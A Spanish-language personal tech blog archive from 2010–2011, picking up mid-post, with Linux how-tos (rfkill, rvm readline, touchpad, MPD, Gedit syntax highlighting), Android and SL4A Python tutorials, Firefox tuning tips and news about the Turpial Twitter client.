4: phy2: Wireless LAN
 Soft blocked: yes
 Hard blocked: yes

Jum... phy2 y hp-wifi bloqueados por software, adicionalmente phy2 bloqueado por hardware. Raro, raro.

Hago un:

# rfkill unblock 0 && rfkill unblock 4

Y voilá, volvió a enceder el led de la interfaz inalámbrica e inmediatamente se conectó a internet :D

Cosas tontas pero que te salvan la vida. Espero que les sea de utilidad

LoadError con el readline al intentar abrir una consola de Rails usando rvm

2011-05-02T10:15:00.000-07:00

Si usando rvm, intentas abrir una consola de Rails (con rails c o con script/console) y te escupe un error como este:

no such file to load -- readline (LoadError)

Entonces sigue estos pasos y resolverás el problema.

Primero, debemos instalar el paquete del readline en rvm (y no en el Sistema Operativo). Para eso removemos la versión actual de Ruby que podamos tener:

$ rvm remove 1.8.7

Instalamos el paquete readline:

$ rvm install package

E instalamos Ruby pero indicándole la ubicación del paquete readline:

$ rvm install 1.8.7 --with-readline-dir=$rvm_path/usr

Acto seguido, entramos a la carpeta en donde rvm almacena los fuentes de las extensiones de Ruby, específicamente del readline. En mi caso:

$ cd ~/.rvm/src/ruby-1.8.7-p302/ext/readline

Luego (como root) instalamos las dependencias necesarias. En Debian sería:

# aptitude update
# aptitude install libreadline5-dev

Procedemos (como usuario) a compilar e instalar la extensión en cuestión:

$ ruby extconf.rb
$ make
$ make install

Y con eso ya deberíamos disfrutar nuevamente de la consola interactiva de Rails sin problemas.

Habilitar la función de "tap" en un TouchPad

2011-04-22T07:43:00.000-07:00

En estos días estaba usando mi netbook y me di cuenta que al hacer tap sobre el touchpad no se ejecutaba el click del ratón y no fue hasta hoy que me digné a buscar la solución. Es tan simple como agregar una línea en un archivo de texto.

Buscamos el archivo /etc/modprobe.d/options.conf, si no existe lo creamos y copiamos la siguiente línea:

options psmouse proto=imps

Luego hacemos (como root):

# modprobe -r psmouse
# modprobe psmouse proto=imps

Y a disfrutar del tap xD

Resaltado de sintaxis HAML en Gedit

2011-02-28T06:29:00.000-08:00

Trabajando con Ruby On Rails me ha tocado escribir código usando HAML. Particularmente no me agrada mucho (entre otras cosas porque no tiene soporte multilínea, porque no identa correctamente las cadenas de texto plano, porque agrega otra capa más de interpretación a la aplicación, etc) pero cuando toca usarlo es bueno hacerlo con un buen soporte. Y cuando hablo de soporte me refiero al resaltado de sintaxis.

Para escribir código usualmente uso un editor de texto (Gedit o Geany), así que en ésta receta explicaré como agregar soporte para el resaltado de sintaxis en Gedit.

Primero agregamos soporte para que las extensiones usadas comúnmente en Rails sean reconocidas por el sistema. Abrimos una terminal y escribimos:

wget http://dl.dropbox.com/u/16349833/rails.xml 
sudo cp rails.xml /usr/share/mime/packages/rails.xml 
sudo update-mime-database /usr/share/mime

Luego agregamos los archivos de definición de sintaxis en la carpeta del sourceview de GTK ejecutando:

wget http://dl.dropbox.com/u/16349833/gedit_rails_syntax.zip
sudo unzip gedit_rails_syntax.zip -d /usr/share/gtksourceview-2.0/language-specs

Ahora con nuestro editor de texto favorito (y como root) abrimos el archivo /usr/share/gtksourceview-2.0/language-specs/ruby.lang para modificar el sourceview de GTK y agregar soporte para nuevas extensiones. Buscamos la línea:

*.rb

Y la cambiamos por:

*.rb;*.rake;*.rjs

Por último, abrimos el archivo /usr/share/gtksourceview-2.0/language-specs/html.lang y buscamos la línea que dice:

*..html;*.htm

Y la cambiamos por:

*.html;*.htm;*.erb;*.rhtml

Cerramos todas las instancias de Gedit y al abrir de nuevo ya nuestro código HAML debería verse resaltado.

Existen recetas que instalan una serie de plugins (con soporte para haml, rjs, etc) y te dejan al Gedit como TextMate, pero como no me gusta TextMate entonces prefiero hacerlo a patica xD

Espero que la receta les haya servido de ayuda.

Referencias:
http://groups.google.com/group/haml/browse_thread/thread/6c8babd81a46b6b8/b5100d80d9182c71?pli=1
http://blog.adsdevshop.com/2008/04/19/erb-syntax-highlighting-in-gedit/

¿Cómo desarrollar para Android? - Parte II

2010-12-21T15:42:00.000-08:00

En la entrega anterior expliqué como instalar el ambiente de desarrollo para trabajar con Android. Ahora explicaré algunos fundamentos necesarios para poder entrar en calor.

Podemos decir que Android está compuesto por varias capas (muy al estilo del modelo OSI).

Esas capas las podemos diferenciar en 5 grupos:

Capa 1 - Kernel: La base de Android es sólida como una roca. Claro, esa base es el kernel Linux. Android usa Linux para manejar todo lo relacionado con el hardware (drivers), gestionar la memoria, los procesos y muchas otras tareas operativas. Sin embargo nuestra aplicación nunca tocará el kernel.
Capa 2 - Librerías nativas: La siguiente capa que se ubica por encima del kernel son las librerías nativas. Allí tenemos una serie de herramientas que vienen precompiladas por el fabricante y que nos permiten manejar desde renderizado web hasta bases de datos.
Capa 3 - Núcleo: Sobre ésta capa tenemos el núcleo de Android. Allí reside la máquina virtual Dalvik y las librerías de la plataforma.
Capa 4 - Framework para aplicaciones: Más arriba está el conjunto de herramientas que nos permite crear y manejar las aplicaciones, notificaciones, recursos y muchas otras cosas.
Capa 5 - Aplicaciones: Y por último tenemos la capa de aplicaciones, aquí es donde se encuentran los widgets y todas las aplicaciones que tienen contacto con el usuario.

Ya conocemos un poco mejor la arquitectura de Android, ahora veamos con qué contamos para desarrollar. Parte del framework para aplicaciones son los componentes. Estuadiaremos los más importantes por el momento, ellos son:

Activities: Los activities (o actividades) son las interfaces que permiten al usuario interactuar con la aplicación. Generalmente una aplicación está compuesta de muchas actividades. Una actividad puede ser mostrar la lista de contactos y otra puede ser enviar mensajes de texto
Intents: Un intent (o como se diría en español, una "intención") no es más que una acción. En Android todas las acciones se manejan con intenciones ;)
Services: Es una tarea que se ejecuta en segundo plano, sin interfaz gráfica y sin interacción directa con el usuario. Podemos pensar en el ejemplo típico: un reproductor de música. A todos nos gusta que la música siga sonando incluso si dejamos de ver el reprouctor para pasarnos al navegador web. Eso es un servicio
Content Providers: Es un contenedor que permite agrupar un conjunto de datos de una aplicación y ponerlos a disposición de otras aplicaciones. Podemos verlo como una manera de compartir información global entre aplicaciones

Por último vamos a mencionar las fases del ciclo de vida de una aplicación.

Lo primero que debemos entender es que (a diferencia de un sistema operativo de escritorio) en Android una aplicación no está casada con un proceso. En Android existe una sola aplicación que obtiene el foco y se presenta frente al usuario. Mientras ésta aplicación se encuentra en el frente, las demás aplicaciones entran en estados de pausa, detención o incluso, si la memoria es escasa, Android puede llegar a cerrarlas para liberar recursos y sin estar mediando muchas palabras.

Pero no se asusten, si la aplicación es "asesinada" por Android su estado se almacena para que pueda recuperarse cuando el usuario la ejecute nuevamente. Es en este ínterin de cerrar y abrir aplicaciones en que se liberan los procesos. Debemos ver a un proceso como un simple contenedor desechable para las aplicaciones, no más. Siempre ten presente éste comportamiento al momento de diseñar tus aplicaciones.

El ciclo de vida de una aplicación lo podemos ver en la siguiente imagen.

A continuación describo brevemente cada una de sus fases:

onCreate(): Se ejecuta la primera vez que la aplicación se muestra. Aquí se pueden realizar toda la inicialización estática (conexiones a bases de datos, creación de interfaces, etc). Recibe un parámetro que puede contener el estado anterior de la aplicación (si fue almacenado correctamente)
onStart(): Se ejecuta justo antes de que la aplicación se haga visible al usuario
onRestart(): Llamado justo después que la aplicación ha sido detenida. Justo antes de comenzar de nuevo
onResume(): Se llamará cuando la aplicación esté lista para interactuar con el usuario. Acá se pueden inicializar cosas como música y animaciones
onPause(): Se ejecuta justo antes de que la aplicación pase a segundo plano porque otra aplicación ha sido ejecutada. Este método puede ser lo último que vea tu aplicación antes de morir, pues Android puede matar una aplicación pausado sin previo aviso. Es por eso que este es un buen lugar para guardar el estado de tu aplicación.
onStop(): Es llamado cuando la aplicación ya no es visible al usuario y no se necesitará por un rato. Tal como se indicó en el punto anterior, este método es posible que ni siquiera se ejecute
onDestroy(): Se llama justo después que la aplicación es destruida. Acá debes hacer el sepelio y esas cosas. Tal como se indicó en el punto anterior, este método es posible que ni siquiera se ejecute

Con toda ésta base teórica podemos decir que estamos listos para empezar a escribir el código de nuestra primera aplicación. Ese será el tema de la próxima entrega.

Para más información sobre éste tema puedes consultar la documentación oficial de Android

¿Cómo desarrollar para Android? - Parte I

Python For Android - Mito o Realidad

2010-11-24T05:21:00.000-08:00

Estuve unas cuantas horas investigando sobre la posibilidad de desarrollar con Python sobre Android y a continuación les daré un resumen de los resultados y conclusiones que obtuve.

Acá les dejo el script que usé para probar una parte de los widgets disponibles en la API por si quieren probarlo y echarle un ojo (no me detendré a explicarlo mucho porque el código prácticamente se explica a sí mismo). Además supongo que siguieron los pasos de mi tutorial sobre ¿Cómo desarrollar para Android? y tienen configurado su entorno de desarrollo y saben cómo usar el emulador.

droid = android.Android()

tiempo = droid.dialogGetInput("Escriba la cantidad de tiempo que desea para el demo (10-100)","Tiempo:")
print tiempo

tiempo = int(tiempo[1])
if tiempo < 10:    tiempo = 10elif tiempo > 100:
    tiempo = 100

droid.dialogCreateHorizontalProgress('Barra de Progreso', 'Hola, estoy progresando...', tiempo)
droid.dialogShow()
for i in range(tiempo):
    time.sleep(0.5)  
    droid.dialogSetCurrentProgress(i)
droid.dialogDismiss()

droid.dialogCreateSpinnerProgress('Spinner de progreso', 'Mirá, mirá... estoy girando')  
droid.dialogShow()
time.sleep(tiempo)
droid.dialogDismiss()

droid.notify('Test de Python' , 'Oh! puedo notificar también')

droid.dialogCreateAlert(title, message)
droid.dialogSetPositiveButtonText('Si')
droid.dialogSetNegativeButtonText('No')
droid.dialogSetNeutralButtonText('Cancelar')
droid.dialogShow()
response = droid.dialogGetResponse().result  
print response
droid.makeToast('El resultado de la ejecucion del boton es: %s' %response['which'])

droid.dialogCreateAlert('Selecciona un color')
colores = ('amarillo', 'azul', 'rojo')
droid.dialogSetItems(colores)
droid.dialogShow()
respuesta  = droid.dialogGetResponse().result
print respuesta
droid.makeToast('El color seleccionado es: %s' %colores[respuesta['item']]) 

droid.makeToast('Bueno, chao')

Para correrlo deben instalar algunos paquetes en el cel. Pueden hacerlo con el comando del SDK:

$ adb install /ruta/del/archivo.apk

con los QR que están en la página del proyecto SL4A o con el método que mejor les parezca.

Ok, las cosas a instalar son:

Luego que las instalen van al dispositivo/emulador y buscan el icono de Python For Android, tap e instalan. Eso tardará unos minutos mientras descarga unas cosas. Al terminar entonces enviamos el script de prueba al cel, podemos usar el comando:

$ adb push /ruta/del/script.py /sdcard/sl4a/scripts/

Eso lo copiará en la carpeta del SL4A. Ahora cuando ejecutemos el Python For Android veremos en la lista de scripts nuestra infame creación, tap en el script y ejecutar. Lo demás es disfrutar las ventanitas y controles :P

Conclusiones

La API de SL4A es reducida, es decir si bien está bastante adelantada aún faltan muchas cosas/funciones por implementar.
Python For Android a diferencia de lo que pensaba no soporta widgets gráficos en Android, solamente notificaciones, toast y cosas básicas tipo entrada de texto, selección, etc. Así que nos olvidamos de interfaces gráficas ricas en imágenes y esas cosas.
Sí existen algunos issues de performance, de hecho un pana que está trabajando duro con Android me dice que los desarrolladores todos los días se matan por tratar de mejorar el rendimiento pues de por si ya es algo lento (hablo de apps nativas). Sin embargo la versión de Python es cross-compiled y corre incluso más rápido que Jython
Hay formas de empaquetar scripts en .apk y aunque son algo un poco experimentales funcionan bastante bien (son, digamos, "tweaks" del método de construcción de paquetes con Java)
En cuanto a estabilidad no hay mayores issues, se puede usar para aplicaciones de producción

Finalmente puedo decir (muy a mi pesar) que no podemos contar con ésta alternativa para desarrollar aplicaciones ricas en interfaces gráficas, sin embargo es una opción interesante a tener en cuenta cuando madure un poco más. Personalmente le haré seguimiento tipo ninja y esperaré con ansias que en el futuro se puedan crear aplicaciones tan buenas como se hace con Java.

Más información en:

* http://code.google.com/p/android-scripting/
*http://code.google.com/p/android-scripting/wiki/FAQ
* http://code.google.com/p/android-scripting/wiki/Tutorials
* http://code.google.com/p/android-scripting/wiki/ApiReference

¿Cómo desarrollar para Android? - Parte I

2010-11-20T06:10:00.000-08:00

Actualmente me he visto en la necesidad de crear aplicaciones para Android y como no había incursionado en ese mundo, he decidido hacer una serie de artículos para documentar todo el proceso.

En ésta primera entrega explicaré los pasos que seguí para poner a punto el entorno de desarrollo. Debo resaltar que las recetas están hechas para Debian GNU/Linux, sin embargo puedes adaptarla a tu distro favorita con unos leves ajustes.

Para los que no están familiarizados con mis tutoriales les recuerdo que todas las instrucciones que comiencen con el caracter $ se ejecutan como usuario normal y las que comiencen con # se ejecutan como superusuario (root), por ejemplo:

$ ls -l (instrucción ejecutada como usuario)
# aptitude update (instrucción ejecutada como root)

Dicho esto comenzamos.

Instalar dependencias

Lo primero que debemos hacer es instalar los paquetes necesarios para el desarrollo, que básicamente son: la máquina virtual de Java (JRE) y el entorno de desarrollo (JDK). En una distribución Debian GNU/Linux bastaría con:

# aptitude update
# aptitude install sun-java6-jdk sun-java6-jre
# aptitude remove gcj-jdk

Si se dan cuenta usamos las implementaciones de SUN y removimos cualquier posible instalación del compilador GNU de Java (gcj) pues en la documentación oficial nos dicen que gcj NO es compatible con Android.

Para más información sobre los requerimientos del sistema visita: http://developer.android.com/sdk/requirements.html

Luego que instalamos los paquetes nos aseguramos de que el sistema seleccione las opciones correctas por defecto de cada ejecutable, pare eso usamos:

# update-alternatives --config javac
# update-alternatives --config java

Y en ambos casos, seleccionamos las opciones de SUN.

Instalar Ant

Ant es una herramienta que nos permite construir aplicaciones Java. En nuestro caso, nos permitirá compilar y construir archivos .apk (los instalables en Android) a partir de nuestro código fuente.

Nos vamos a la página de descargas de Ant, descargamos uno de los archivos comprimidos que se encuentran en la sección "Current Release of Ant" y lo descomprimimos en una carpeta de nuestra preferencia. En mi caso lo hice en /opt y me quedó la carpeta: /opt/apache-ant-1.8.1.

Instalar el Android SDK

Bueno, teniendo las herramientas y dependencias listas, vamos a instalar el entorno de desarrollo de Android. Nos vamos a la página del SDK de Android y descargamos la versión que corresponda a nuestra plataforma. Al igual que con Ant, descomprimimos el archivo en la carpeta de nuestra preferencia. Ésta vez también lo descomprimí en /opt, quedando en la carpeta: /opt/android-sdk-linux_x86.

Ahora editamos el archivo ~/.bashrc para agregar la ruta de los binarios al PATH del sistema y establecer las variables de entorno ANT_HOME y JAVA_HOME. Eso lo logramos agregando las siguientes líneas:

export PATH=${PATH}:/opt/android-sdk-linux_x86/tools
export PATH=${PATH}:/opt/apache-ant-1.8.1/bin
export ANT_HOME=/opt/apache-ant-1.8.1
export JAVA_HOME=/usr/lib/jvm/java-6-sun/jre

Recuerda cambiar las rutas de esas variables por las rutas donde se encuentran tus binarios. Si no sabes muy bien hacía dónde debe apuntar JAVA_HOME puedes ejecutar el comando:

# find / -name "tools.jar" | grep sun

Y entonces agrega la ruta que te arroje.

Nota: Debes cerrar las terminales abiertas y volverlas a abrir para que los cambios en las rutas surtan efecto.

Instalar plataformas de Android

¿Plataformas? ¿De qué me hablas? - Seguramente te estarás haciendo esas preguntas. Las plataformas son las "versiones" de Android disponibles (por ejemplo Android 1.6, Android 2.2) y necesitamos al menos una para poder compilar la aplicación y configurar un Android Virtual Device (AVD) para probarla.

Esto es muy simple, basta con abrir una terminal y ejecutar:

$ android

Nos aparecerá una aplicación (AVD Manager) como la que se muestra a continuación y allí nos vamos a la sección Available Packages, actualizamos el repositorio y seleccionamos la(s) plataforma(s) que deseamos instalar.

Finalmente creamos un nuevo dispositivo virtual en la sección Virtual Device. Hacemos clic en el botón New..., le asignamos un nombre, seleccionamos una plataforma y hacemos clic en Create AVD.

Para probar nuestro flamante dispositivo lo seleccionamos y hacemos clic en Start.... Luego clic en Launch y al cabo de unos segundos tendremos el emulador corriendo una instancia de Android :)

Desarrollo

Ahora viene la parte divertida, crear la aplicación. En las próximas entregas estaré hablando sobre el desarrollo, por los momentos pueden jugar creando un Hello World y pueden leer sobre cómo desarrollar con Eclipse y cómo desarrollar con otros IDEs

Compilar y construir el ejecutable

Luego de que tengamos nuestra aplicación lista debemos crear el instalador. Eso es tan simple como navegar hasta la carpeta raíz del proyecto (código fuente) y ejecutar:

$ ant debug

Si nuestro proyecto se llama "HelloAndroid" esto generará un archivo HelloAndroid-debug.apk y ese será nuestro instalador.

Probar en el emulador

Finalmente, una de las partes más esperadas. ¿Cómo se verá nuestra aplicación en un dispositivo? Pues fácil, en una consola ejecutamos:

$ android

E iniciamos nuestro dispositivo virtual. Luego que el dispositivo esté funcionando ejecutamos en otra consola:

$ adb install /ruta/de/nuestro/instalador/HelloAndroid-debug.apk

Y con eso enviaremos la aplicación al dispositivo. La buscamos en el menú y voilá! A jugar :D

Espero que les haya sido de utilidad éste tutorial. Próximamente seguiré documentando mis travesías en el mundo de Android. Cambio y fuera.

MPD + Sonata: Una combinación perfecta para reproducir música

2010-07-27T13:40:00.000-07:00

Lo primero que debo aclarar antes de empezar éste post es que la forma de reproducir música con éstas herramientas es completamente diferente a la tradicional. Si no te interesa reproducir música como un verdadero geek entonces huye y busca otras aplicaciones, éstas no son para tí.

Si eres valiente, continuemos entonces. MPD es un demonio (o sea un servicio) para reproducir música, corre en segundo plano y no tiene interfaz gráfica. De hecho se inicia como cualquier otro servicio de tu equipo (red, hal, udev, etc).

¿Cómo demonios hago para interactuar con él? te preguntarás. Sencillo, está basado en una arquitectura cliente-servidor así que existen aplicaciones que se comunican con él (clientes) y que te permiten manejarlo. Ahí es donde entra Sonata y compañía.

Lo primero que debemos hacer es instalar las dependencias:

# aptitude install mpd mpc sonata

Yo instalaré 2 clientes, Sonata y MPC, porque quiero controlar la reproducción vía SSH desde mi celular xD (sí, sí, muy geek... pero me gusta la comodidad)

Luego vamos a nuestro directorio personal, creamos la carpeta .mpd y dentro de ésta creamos dos carpetas más, playlists y music

$ cd ~
$ mkdir -p .mpd/playlists
$ mkdir -p .mpd/music

Dentro de la carpeta .mpd creamos los archivos mpd.db, mpd.log y mpd.error

$ touch .mpd/mpd.db
$ touch .mpd/mpd.log
$ touch .mpd/mpd.error

Ahora, por cada carpeta de música que tengamos en nuestro sistema creamos un enlace simbólico dentro de music:

$ ln -s /ruta/de_la/carpeta1 .mpd/music
$ ln -s /ruta/de_la/carpeta2 .mpd/music
...

Luego (como root) editamos el archivo de configuración del MPD en /etc/mpd.conf y modificamos las siguientes opciones:

music_directory     /home/tu_usuario/.mpd/music
playlist_directory  /home/tu_usuario/.mpd/playlists
db_file             /home/tu_usuario/.mpd/mpd.db
log_file            /home/tu_usuario/.mpd/mpd.log
error_file          /home/tu_usuario/.mpd/mpd.error

Comentamos la línea de usuario para evitar problemas con los permisos:

#user "mpd"

Y buscamos el apartado de audio y lo configuramos para ALSA o para PulseAudio:

ALSA:

audio_output {
        type    "alsa"
        name    "My ALSA Device"
}

PulseAudio:

audio_output {
        type    "pulse"
        name    "My PulseAudio Device"
}

Establecemos un mezclador por software descomentando la siguiente línea:

mixer_type "software"

Y voilá! Luego reiniciamos el servicio y creamos la base de datos de tags:

# /etc/init.d/mpd restart --create-db

Ahora desde Sonata (o desde mpc) agregamos las canciones que queramos a la lista y empezamos a disfrutar. Es tan genial ésta combinación que podemos cerrar el Sonata e incluso hasta la sesión gráfica y la música seguirá sonando.

Nos quedará algo tan mínimo como esto:

O en su versión extendida:

Y con unas agradables notificaciones:

Díganme... ¿No es una maravilla? Bueno de aquí en adelante los dejo para que experimenten y se enamoren.

Webcomic: Los FUUU de la vida (I)

2010-07-10T11:48:00.000-07:00

Con éste webcomic quiero inaugurar un espacio muy querido y vivido por todos nosotros... Los FUUUU de la vida. He aquí la primera entrega. Enjoy!

Clic en la imagen para agrandar

Respuesta a críticas destructivas sobre Turpial

2010-06-02T20:37:00.000-07:00

Me considero una persona tolerante y abierta a las críticas y sugerencias. No hay cosa que me guste más que el feedback de las personas sobre las cosas que hago y más aún sobre Turpial. Sin embargo cosa que no tolero es la mediocridad.

He decidido crear este post para colocar la respuesta que le he dado a @MichelEnLaRed respecto a algunos comentarios que me ha hecho por Twitter sobre Turpial, que en lugar de contribuir al desarrollo del proyecto empañan todo el esfuerzo que duramente se viene haciendo. No pretendo agregar nada a la respuesta que le dí por Twitter, solo la pegaré aquí para unificarla y permitir su mejor lectura.

El comentario que derramó la gota fue el siguiente (sí, hubo 3 o 4 comentarios previos en el mismo tono que dejé pasar por consideración y tolerancia):

Mi respuesta fue:

No había querido responder tus comentarios porque no tenía nada bueno que decirte, pero ya que insistes me tomaré la molestia.

1.- No sé de dónde sacas información para formar juicios de valor sobre mi incapacidad para solventar el cuelgue de Turpial, no estás suscrito a la lista de desarrollo, no te conectas al canal IRC, ni siquiera te veo involucrado como colaborador. Para tu información actualmente estoy usando la API nueva que he diseñado para resolver los problemas de Turpial, pero
está en estado experimental. En el desarrollo de software primero se prueban las cosas antes de lanzarlas al público, son controles de calidad y pruebas q debe pasar la aplicación antes de que pueda ser "usada" por el público en general. Pero veo que no conoces mucho al respecto y por eso lanzas esa sarta de comentarios estériles que en lugar de contribuir desmeritan el fuerte trabajo que he estado haciendo estos últimos días para que ustedes puedan disfrutar de un buen cliente.

2.- Soy una persona con un trabajo de verdad y una vida de verdad, nada me gustaría más que poder dedicarle el 100% de mi tiempo al Turpial, pero lamentablemente eso no me da para comer en estos momentos, así que los pocos instantes libres que me quedan al día son los que invierto en desarrollar el Turpial. Considera eso antes de llamar "incapaz" a otra persona.

3.- Si no te gusta el desempeño de Turpial o te parece que no programo lo suficientemente rápido pues usa otro cliente y ya. Hay centenares de clientes de twitter allí afuera esperando por tí, que no se cuelgan y con programadores realmente "capaces". Turpial es un hobby para mí y la idea es que la comunidad pueda disfrutar, beneficiarse y sentirse a gusto con mi hobby y pues con eso poner en alto el nombre de nuestra patria, hay mucho talento en éste país y debemos sacarle provecho.

No tienes ningún compromiso para usar Turpial, eres libre de escoger... así como el software, completamente libre. Si realmente deseas apoyar Turpial entonces razona y analiza las cosas antes de decirlas, involucrate y colabora, así funciona el software libre y es uno de los principios básicos del socialismo, unión, comunidad, participación...

La mejor forma de cambiar las cosas es formando parte de ellas, no necesitas ser programador para ayudar a Turpial, existen muchas cosas por hacer, eres bienvenido siempre y cuando tus ganas sean de trabajar y de hacer las cosas mejor pero no si lo que tienes es ganas de joder, eso se lo dejamos a los mediocres. Puedes empezar leyendo el archivo de la lista de correos http://smlk.es/6JfSkX, y si gustas únete y aporta tus ideas como un ser racional, pensante e inteligente que eres.

Saludos y gracias por el apoyo

Me disculpo de antemano si hiero algunas susceptibilidades pero las cosas son como son. Las críticas, cuando son constructivas, vienen acompañadas de un planteamiento o una solución.

Mis 2 lochas

Turpial, KumbiaPHP y SigueMiLink trabajando juntos

2010-04-11T20:44:00.000-07:00

Hace unos días mi buen amigo Deivinson Tejeda (desarrollador del framework KumbiaPHP) me comentó sobre un nuevo acortador de URLs hecho en España llamado SigueMiLink.

Se preguntarán: ¿Bueno y cuál es la gracia del asunto? Pues lo interesante del asunto es que:

El acortador de URLs SigueMiLink está hecho en KumbiaPHP
Los creadores de SigueMiLink le plantearon a Deivinson la posibilidad de incluirlo en Turpial
Turpial y KumbiaPHP son como proyectos hermanos :) (ambos son Venezolanos)

Al parecer todo se confabuló para crear un círculo de apoyo entre los 3 proyectos y así fue. Ahora me complace anunciar que Turpial soporta a SigueMiLink como nuevo servicio acortador de URLs y que tanto los amigos de SigueMiLink como los de KumbiaPHP apoyan fuertemente a Turpial.

Ojalá se puedan repetir más situaciones como ésta, en la que varios proyectos pueden colaborar entre sí por un fin común... La libertad del software :D

Webcomic: Unfollow

2010-04-05T19:10:00.000-07:00

Un webcomic para liberar un poco el estrés de la programación... ¡Que lo disfruten! :)

Clic en la imagen para agrandar

Turpial ahora con soporte para idiomas / Turpial now with support for languages

2010-03-23T18:15:00.000-07:00

Español

Turpial, el cliente Twitter con sabor Venezolano ahora tiene soporte para idiomas. Actualmente está disponible en inglés y español, pero con ésta sencilla guía puedes animarte a traducirlo a cualquier otro idioma. Es muy simple y no necesitas saber nada de programación xD

Aquí vamos:
1.- Descarga la plantilla template.pot para las traducciones de aquí

2.- Abre el archivo con tu editor de texto favorito y llena el encabezado del archivo con tus datos (nombre, correo e idioma de la traducción)

3.- Comienza la traducción. El texto que aparece seguido de msgid debes traducirlo y colocarlo en la línea inferior, justo después de msgstr. Mira la imagen si tienes dudas:

4.- Envía la traducción a cualquier miembro del equipo: wil.alejandro, meza.eleazar, kstnshadows o milmazz, todos en gmail punto com

Recuerda lo siguiente:

El texto traducido no puede contener errores ortográficos
El archivo template.pot debes abrirlo con un editor de texto plano
No debes traducir el texto que está en inglés, siempre la traducción va en la línea de abajo y manteniendo las comillas

Eso es todo lo que debes hacer. Anímate y colabora con el proyecto :)

English

Turpial, the Twitter client with Venezuelan taste now got support for languages. Actually are available english and spanish, but with this easy guide you can try to translate it to any other language. Is really easy and you don't need to know anything about programming xD

Here we go...
1.- Download the file template.pot for translations here

2.- Open the file with your favorite text editor and fill the header with your information (name, mail and language of translation)

3.- Start the translation. The text that appears followed by msgid must be translated and put in the line below, just after msgstr. Look at the image if you're doubtful:

4.- Send the translation to any of the team members: wil.alejandro, meza.eleazar, kstnshadows o milmazz, all in gmail dot com

Remember this:

The translated text can't contain orthographic errors
template.pot file must be opened with a plain text editor
You don't have to translate the text in English, the translation always goes in the line below and maintaining the quotation marks

That's all you need to do. Come on and collaborates with the project :)

Webcomic: Maldito Calor

2010-03-13T19:55:00.000-08:00

Estos serán los cuentos que le echaremos a nuestros nietos xD

Clic en la imagen para agrandar

Mucho Software Libre en un solo sitio: Planeta Linux

2010-03-08T16:21:00.000-08:00

Planeta Linux es una comunidad de usuarios, desarrolladores y activistas iberoamericanos de Software Libre en donde cada miembro cuenta el día a día del Software Libre a través de su blog. Gracias a toda la gente que hace vida en este Planeta y comparte sus experiencias con el resto de nosotros, podemos enterarnos de lo que pasa en el mundo del Software Libre, de primera mano y más fresco que el pan de cada día.

Por mi parte felicito a todo el equipo responsable de ésta excelente iniciativa e invito a todos los que siguen mi blog a que hagan lo propio con Planeta Linux, no se arrepentirán. Excelentes publicaciones, noticias interesantísimas, puro Software Libre... ¡no tiene desperdicio!

Desde hace unos días éste humilde blog pasa a formar parte de la gran lista de blogs que conforman Planeta Linux, así que no sigas leyendo más esto y anímate a formar parte de la comunidad xD

Gestor de ventanas por defecto en GNOME 2.28

2010-03-08T15:28:00.000-08:00

Hace algún tiempo publiqué cómo configurar el gestor de ventanas por defecto en GNOME. Esa receta fue probada con éxito en el GNOME de ese entonces (si mal no recuerdo era algo como 2.22 o 2.24) pero al intentar usarla en mi nuevo GNOME 2.28, simplemente no funcionó.

La cuestión es que ahora el GNOME ignora la variable de entorno WINDOW_MANAGER y la clave de gconf /desktop/gnome/applications/window_manager. La nueva forma de configurar el gestor de ventanas por defecto es mediante la clave /desktop/gnome/session/required_components/windowmanager. Allí simplemente colocamos el comando de nuestro gestor de ventanas preferido (en mi caso compiz) y voilá.

Firefox casi tan rápido como Google Chrome

2010-02-16T07:04:00.000-08:00

Esta semana estuve formateando mi PC (con Debian obviamente xD) y una de las cosas que más me gusta hacer es poner el sistema a punto.

Firefox, Firefox, Firefox... necesitaba optimizarlo con urgencia, estaba lento como una marrana y a pesar de que Google Chrome le estaba quitando algo de terreno (porque es rapidísimo), le soy fiel a mi obeso amigo. Decidí entonces investigar y tratar de ponerlo a dieta. Los resultados: ¡Excelentes! Casí tan veloz como Chrome. Acá les dejo la receta.

Intentaré explicar solo los más resaltantes para no extenderme mucho. Para empezar vamos a la barra de direcciones y escribimos about:config, luego de aceptar la advertencia editamos las claves que indicaré a continuación. Si la clave no existe, debemos crearla. Podemos ayudarnos con el filtro para ubicar las claves con mayor rapidez.

¡Empecemos!

1.- Optimizar las conexiones TCP: Si tienes una conexión banda ancha esto hará que Firefox la aproveche para mejorar su rendimiento al momento de cargar las páginas.

network.http.max-connections = 48
network.http.max-connections-per-server = 16
network.http.max-persistent-connections-per-proxy = 8
network.http.max-persistent-connections-per-server = 4
network.http.pipelining = true
network.http.pipelining.maxrequests = 8
network.http.pipelining.ssl = true
network.http.proxy.pipelining = true
network.http.request.timeout = 300
network.dns.disableIPv6 = true (si vives en un país donde no usen IPv6)
network.prefetch-next = false (evita que Firefox descargue las páginas antes de que les des clic)
content.notify.ontimer = true
content.interrupt.parsing = true
content.max.tokenizing.time = 2250000
content.maxtextrun = 8191
content.notify.interval = 750000
content.switch.threshold = 750000

2.- Optimizar el consumo de memoria: Todos sabemos que Firefox consume mucha RAM; bueno esta es la parte donde lo ponemos a dieta.

browser.cache.disk.capacity = 20000 (establece la cantidad de disco en KB que se usará para la cache. Usa 20000 si tienes más de 1GB de RAM, 15000 si tienes entre 1GB - 512MB y 5000 si tienes menos de 512MB de RAM)
browser.cache.memory.capacity = 32768 (indica la cantidad de RAM en KB que usa Firefox para la cache. Si la clave no existe la creamos de tipo Entero. Se recomienda 32768 si tienes 2GB de RAM, 16384 si tienes entre 1GB - 512MB y 8192 para menos de 512MB)

3.- Usar el nuevo motor de JavaScript TraceMonkey: El nuevo motor es más rápido y mejora la experiencia al momento de cargar páginas con alto contenido de JS (ya viene por defecto en las versiones más nuevas de Firefox).

javascript.options.jit.chrome = true
javascript.options.jit.content = true

4.- Mejorar el comportamiento: Modificaremos otras claves para mejorar el comportamiento de Firefox en diferentes situaciones.

toolkit.scrollbox.scrollIncrement = 75 (acelera el scrolling entre pestañas)
browser.sessionstore.interval = 30000 (guarda la sesión cada 30 seg y no cada 10)
browser.sessionstore.max_tabs_undo = 5 (indica el número de pestañas que puedes restaurar luego de cerrarlas)
browser.sessionhistory.max_total_viewers = 4 (indica el número de páginas que son almacenadas en la RAM para que no deban ser reprocesadas por Firefox. Puedes visitar éste sitio para mayor información)

Ya está, con eso tendremos un Firefox un poco más rápido. Y a ti, ¿te ha funcionado la receta? Deja tu comentario

Webcomic - El pisapapeles

2010-02-02T20:32:00.000-08:00

Pues dedicado a todos los Fanboys de Apple xD

(Click en la imagen para agrandar)

Publicada versión 0.9.3-a1 de Turpial

